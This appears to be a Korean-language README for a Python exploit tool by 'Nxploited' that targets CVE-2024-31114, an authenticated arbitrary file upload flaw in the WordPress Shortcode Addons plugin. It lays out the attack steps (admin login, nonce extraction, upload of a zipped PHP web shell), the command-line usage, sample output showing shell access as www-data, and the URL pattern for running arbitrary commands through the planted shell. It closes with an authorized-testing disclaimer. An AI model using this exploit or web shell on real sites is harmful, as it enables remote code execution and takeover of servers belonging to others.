
Shortcode Addons <= 3.2.5 - 인증된 (관리자+) 임의 파일 업로드
Shortcode Addons <= 3.2.5 – 인증된 (관리자+) 임의 파일 업로드
CVE ID: CVE-2024-31114
CVSS 점수: 9.1 (치명적)
WordPress용 Shortcode Addons – with Visual Composer, Divi, Beaver Builder, and Elementor Extension 플러그인은 3.2.5 이하의 모든 버전에서 파일 형식 검증 누락으로 인해 임의 파일 업로드에 취약합니다.
이 결함으로 관리자 이상의 접근 권한을 가진 인증된 공격자가 서버에 임의 파일을 업로드할 수 있으며, 이는 원격 코드 실행(RCE) 으로 이어질 수 있습니다.
이 Python 스크립트는 취약점 악용을 자동화합니다. 수행하는 작업은 다음과 같습니다:
_wpnonce) 추출nxploit.php) 생성.zip으로 압축 및 업로드whoami 실행usage: CVE-2024-31114.py [-h] -u URL -un USERNAME -p PASSWORD
Shortcode Addons <= 3.2.5 - Authenticated (Admin+) Arbitrary File Upload
By: Nxploited | Khaled Alenazi
options:
-h, --help Show this help message and exit
-u, --url URL Target URL (e.g. http://target.com)
-un, --username USERNAME WordPress Admin Username
-p, --password PASSWORD WordPress Admin Password
[+] Authentication successful.
[+] _wpnonce extracted: 9d8dbbc630
[+] Payload nxploit.zip created.
[+] Payload uploaded.
[+] Shell is accessible at: http://target/wp-content/uploads/shortcode-addons/nxploit.php
[+] Command output:
------------------
www-data
------------------
[+] Temporary files removed.
페이로드가 업로드되면 다음 형식을 사용하여 시스템 명령을 실행할 수 있습니다:
http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=command
🔹 예시:
http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=ls
이 명령은 서버의 현재 디렉터리 내용을 나열합니다.
이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다.
저자는 이 스크립트로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
책임감 있게 사용하고, 명시적인 테스트 허가를 받은 시스템에서만 사용하세요.
제작: Nxploited | Khaled Alenazi